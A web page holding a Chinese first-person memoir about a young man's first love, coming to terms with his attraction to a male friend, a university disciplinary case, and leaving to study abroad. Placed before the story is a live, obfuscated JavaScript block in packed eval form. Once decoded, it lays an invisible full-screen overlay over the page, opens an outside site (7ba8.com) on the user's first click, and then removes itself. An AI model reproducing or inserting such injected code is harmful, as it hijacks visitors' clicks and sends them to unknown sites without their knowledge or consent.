<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>有人说, 美是生命的借口，即便穷尽我们生命中所有的美好来换取一个毕生的感动，也不过是苍茫宇宙亿万生灵兴衰更替的一粒微尘。我无法评述它的对错, 然而，别人眼里的微尘 ,也许是我内心全部的世界。
我的初恋源于一个瞬间。中学第一天, 去学校的路上, 远远看到一个女孩，或者说一个背影。加快脚步经过她身边的那一瞬间,下意识的瞥了一眼, 那一刻感觉很特别,好像隐约明白了什么，却又很迷茫。十年后的某一天,那一秒在我意识里,依然是清晰的,只是当时我无论如何也没有想到,这或许在某种程度上，改变了我的一生.
生活就是由无数个巧合构成的,刚进教室，我就欣喜的发现,偶遇原来也可以有继续。我和飞儿，那个背影女孩，在接下去的日子里，成为了朋友，好朋友，越走越近的结果是,争吵也可以带来极大的快乐。当这种快乐的蔓延支配了自己的情绪，我用刻意的疏远把它停止在了开始的地方。
一直以为空间的距离带来的会是情感的疏远，然后淡忘.。然而我的经历却一次又一次的反证这一点。被刻意压抑的情绪，经过短暂的酝酿，终于失控了。当我用幼稚的语言把我的情感寄到那个并不遥远的城市的时候,我在同时也知道，她有了男友。以及数天后等到的,“你有更重要的事情要做”。
我沉迷在痛苦里，很幼稚的痛苦,但是真实，并且丝毫不比成年人的淡,或者值得耻笑。有人说,感情需要追求,这方面,我太懦弱,不过,直到现在,我依然固执的认为,情感,就是一种感觉,没有刻意,需要付出,但不以占有为目的。
后来，很多个晚上,或者白天,我会不自觉的经过她家门口，无论是她在学校,还是后来她回到我们居住的城市的那段日子。几年的时间 ，她换了不少男友，过着旁人看来不幸福的生活。而我，偶尔会变成她对付父母的挡箭牌。当着家人的面，约我出去，也只是成为她去见被父母反对的男友的一个借口，对于这些，我始终乐意。
大学，我仅有的几次家庭战役，这些事情都或多或少成为了导火索。即便如此，这似乎依然理所当然地成为了我生活的一个部分。直到大学毕业前夕，经过那个路口的时候，迟疑了一下，然后换了一个方向。物是人非，有人说这是世界上最狠毒的一个词语。这种无意义的事情我做了7年，已经够了。
第一段情感的最终破灭和第二段情感的开始其实是并行不悖的，只是当时我没有完全意识到而已。棋是我一个多年的朋友。大一国庆，他来我读书那个城市旅游，出于学生式的节省，我让他睡我房间了。
半夜醒了。月光很会营造幻觉。模糊的脸，隐约的体型，无法描述但可以感觉的气质，淡淡的呼吸，此时竟然都对我有着无以抗拒的吸引力。刚睡醒的人是最真实的，因为在那一刻，人心中的戒律，或者说所谓的准则都是无力的。我不知道自己怎么了，此时的反应，却似乎不被自己意识所控制。我犹豫着，犹豫着，慢慢把嘴贴向他,快要接近的时候，突然，转过头…….
那点模糊的感觉，经过时间的洗涤，却似乎更加清晰。我开始陷入无休止的恐慌，压抑，无法减轻，无法转移，更无法与人交流，我开始在网上搜索与此有关的一切，开始小心翼翼的防备，担心即将迎来当时自己认为的，人生毁灭性打击。
此后，我似乎是“恢复正常”了，开始意气风发，开始锋芒毕露，开始继续和同学和朋友讨论美女，并且通过和同学一起看A片来证明是自己是正常的，和别的普通人没有区别。开始认识越来越多的人，也开始有越来越多的人认识我，但是这些都没有能够改变我单身的状态，我习惯于让很多东西在还没开始时便把它结束，如果是我不想要的，因为我不想伤害别人或者自己，无论有意，或者说无意。 渐渐的，我开始习惯在喧嚣中去感受宁静，开始喜欢在狂欢中享受孤独的感觉。
有些人，把大事情当作人生的转折，而有些人，小事情就可以让他们彻底改变，现在看来，我无疑属于后者。
大一寒假回家，晚饭的时候，棋过来了。我很自然的和他交流着这段时间的经历和生活，没有任何特别的感觉。某个瞬间，因为只有那么几秒，在人的一生里只是很小的一个部分，影响不了大局，当时，我这样想着。
晚上，送他回家。街道音乐很轻，风也很轻，“还记得街灯照出一脸黄， 还燃亮那份微温的便当 ，剪影的你轮廓太好看……还记得当天结他的和弦, 还明白每段旋律的伏线, 当天街角流过你声线, 沿路旅程如歌褪变.”我分明在那双清澈的眼睛里面看到了我的灵魂.几个月来精心营造的心理防线,在那一瞬间,全面崩溃.
我似乎应该面对现实了.是的,我不是一个完整意义上的GAY,但有一半是。这是个无可改变的事实，我和我曾经认为变态的那些人，没有实质的区别.我确定,我对棋已经不再是纯粹的朋友感情,我爱他,就像爱她一样. 突然用力的撕开伤口,痛苦是尖锐的. 而我的内心反倒很平静,我不再需要虚伪的掩盖什么,因为这无法改变任何事实. 但我不会让他知道这些 ,因为一个人的痛苦，已经足够了。
时间就这样一天天的过去,我开始用学习用各种方式来充实自己,闲暇时,偶尔上网,了解一些这方面的事情.世界在两年的时间里是变化很大的，人们似乎逐渐变的宽容,尤其年轻人。科学界的结论,个人权利自由化的观点,或者间接在改变社会对于这个圈子的认识。虽然在中国这个过程还是很缓慢。
大学三年级, 我参与了一场与学生权益相关的学生活动。作为学生会主要负责人的我, 从学生权利的角度, 对学校的某些管理方式提出了严重质疑。并以学生会调研为依据,与学工部部长展开激烈辩论。也许忘记了学生的身份,忘记了学生,在某个年度以后，本来就是连很多基本权利都没有的。结果是，我被撤消一切职务, 撤消三好学生标兵称号, 加记大过处分。理由,煽动同学集会,扰乱学校管理秩序。其实，原本不需要什么理由的。
按我当时的价值观, 这是一个不小的打击. 用别人的话说，我的消沉写在了脸上。突然觉得自己变得脆弱，突然很害怕孤独，突然更加压抑，突然变得封闭。某个夜里，我一个人，照着网上的描述，找到了城市的一个GAY吧。迷离的烛光下，在某个角落，我茫然的看着这群狂欢的人。接下去的几天，在这里我认识了宇，一个很帅气的小演员，阳光的气质加上一点坏坏的感觉。没用几天时间，宇成为了我男朋友，接着没过几天，当我还在畅想着我们的未来的时候，就迎来了我的第一次分手。
我情绪越来越低落，在GYA圈认识的人也开始多起来，越接触这些，越感觉痛苦。在男女世界里我没有寻找到的爱情，在这里其实更难。因为我发现GAY大都很虚伪，如同我，不同的是，我的虚伪不会刻意去伤害别人。我发现GAY圈在性方面很乱，人们并没有夸大或者说完全发现这一点。我发现GAY圈的感情大都是不长久的，如同我和宇。安妮说，生活像一团棉花，让人沦陷，只要不揭穿真相，就不会有尖锐的痛苦。我揭穿了，所以痛苦是自找的。
1999年7月9日，在我人生的最低潮，在城市最有名的酒吧，我和大学的朋友一起度过了20岁生日。我让在场的所有人知道了我的事情，知道，我除了女生，还会喜欢男生。理由很简单，因为我觉得这没什么，我没有影响到任何人，我就是我，只为自己做的事情负责，别人做了什么，旁人如何认为，我无法了解，也不需要了解。
不知道该用什么语言来表达我对大学那些朋友的感激，那段灰色的日子，他们给了我重新开始的所有勇气。生活似乎逐渐恢复到了正常的轨道，处分的事情，家里也帮我搞定了，一切，看起来似乎都在平稳的进行着。我开始把主要精力投入到了学习上，开始准备着出国留学的考试。
我和雅儿就是在那段时间认识的。一天晚上，自习累了，去操场散心，月光很亮。一个人静静地走在操场的跑道，看着前面一个女生也静静的走着。突然有种熟悉的感觉，似乎我的生命中曾经有过这样一个场景。不知道为什么，反正当时我加快脚步走了过去，大声地说，“你好，可以认识你吗？”女生诧异的回过头，面容清丽，如同飞儿。突然有后悔的感觉，不过，无论如何，我和雅儿就这样认识了。
后来的事情，自然而然的发展。我和她开始经常一起自习，一起聊天，一起吃饭，一起逛街，偶尔泡吧。寝室的兄弟经常开开玩笑，但无疑他们是欣慰的，他们也认为我正在进行或者即将开始一段新的感情。甚至，我自己都是这么认为的。如果不是棋在这个时候来参加专业考试，我想这会成为事实。
他考专业的之后的那天，是我考TOEFL的日子。但是这丝毫没有能阻碍到我陪着他准备考试，陪着他考完。他当时的专业水平并不高，也许还不如我，所以早在他来之前，我就开始想办法认识那个专业的朋友，询问一些以前的考核方式，分析别人成功的经验，打听组织考试的老师，预测大概的考试场景。
在飞机场接到他后，帮他找好房子，接下去的几天，和他讨论考试的东西，做一些场景模拟。考前一天带他去熟悉考场。第二天，一个人在寒风刺骨的考场外站了3个多小时等他考完。考完了，一起吃了中饭，然后送他去了机场。然后，回学校，吃饭，复习。然后迷迷糊糊的睡着。然后，就是第二天上午的考试。一塌糊涂，在“一塌糊涂”讨论的题目的时候，我用了这四个字来形容考试的结果。
重要的东西其实不在于这次考试，重要的在于这迫使我去思考，我与棋，我与雅儿的关系。毫无疑问，我是爱棋的，但是我从没想过，我爱他到了一个什么样的程度。回想这些年我和他的交往，每做一件事，即便是再小的事情，我都会很用心的考虑他的感受。甚至完全为他着想的事情，我也会去想那会不会让他反感。每次我和他的需要发生冲突，我都会放弃自己的，无论大小。他不开心或者难过的时候，我的情绪也会很低落，他有什么值得高兴的事情，我会从心底里高兴。每次他面对挑战，更紧张的人却往往是我。是的，毫无疑问，这些都是小事情，这不算什么考验。然而，我用自己的心感觉到了，我从来没有这样爱过一个人，即便是飞。我曾经或者说一直是个很自我的人，毫无疑问。
几天后年级里流传，“陈泽远和阿雅分手了，据说是考试没考好觉得恋爱分心了”。偶尔还会听到女生的嘲讽，“有事业心的男人就是不一样啊”。 对此，我始终只是笑笑。
其实我从来没有和雅儿说过，我爱她，因为我始终对此存有疑问。而现在我确确实实知道了答案。我的心就像一个已经装满的瓶子，容不下另外一个人。而且，我觉得自己没有能力爱她。我能够保证自己会给她带来幸福吗？一年后，如果我出国，我能忍心让他为了一个不值得等待的人等待3年，或者说在一年后分手来给她带来更大伤害？始终喜欢犹豫不决的我，其实偶尔也会很坚决。
以前在一个比较小的朋友圈子里，我总喜欢说，我不是GAY，甚至BI 都不算，我只是不会以性别限制自己的情感。其实，一直到现在我还是这样认为，只是我确信，我不会在同一个时间，完整的爱上两个人。
一个人在烟雾弥漫的房间里听着音乐，就像天空再深，看不出了裂痕，眉头仍聚满密云，就算一屋暗灯，照不穿我身，仍可反映你心。让这口烟跳升，我身躯下沉……害怕悲剧重演，我的命中命中，越美丽的东西我越不可碰……难道这次我抱紧你未必落空，仍静侯着你说我别错用神，什么，我都有预感，然后睁不开双眼，看命运光临，然后天空又再涌起密云……..
我累了，需要休息，或者说，逃避。
两个月后，拿到了TOEFL成绩，很一般的分数，但对于理科学生而言，已经勉强够用了。加上还不错的GPA，GRE成绩，一年后，没去成美国的我，选择了英国。
临行前的那天，我关了手机，拉掉了电话线，这几个小时是属于我和家人的，我这样想着。
在机场，和父母告别后，我一个人等在候机厅。登机前，犹豫了一下，终于还是打开了手机。短信提示响个不停，一条条的打开，大都是朋友的祝福，其中，也有一些特别的。
“泽，没来送你实在不好意思，打电话你又关机。顺便告诉你，有人准备娶我了，不用你操心了，哈哈！这个月末，我就结婚了，祝福我吧，也祝你一路顺风。
“泽远，因为提前去了学校，没能送你了。有些事情其实我心里很清楚，只是我不知道我应该怎么做，或者我能够怎么做。我们永远都会是最好的朋友，希望你以后一切顺利！”。
“远，从朋友那知道你今天走，想想，还是没给你打电话。不知道你会不会记得我，不知道你怎么认为我的。如果你心中有过我的位置，那么我告诉你，其实我是爱过你的。”
我笑了笑，飞机起飞的那一刻，积累了四年的眼泪终于夺眶而出。。。。。。。。 |
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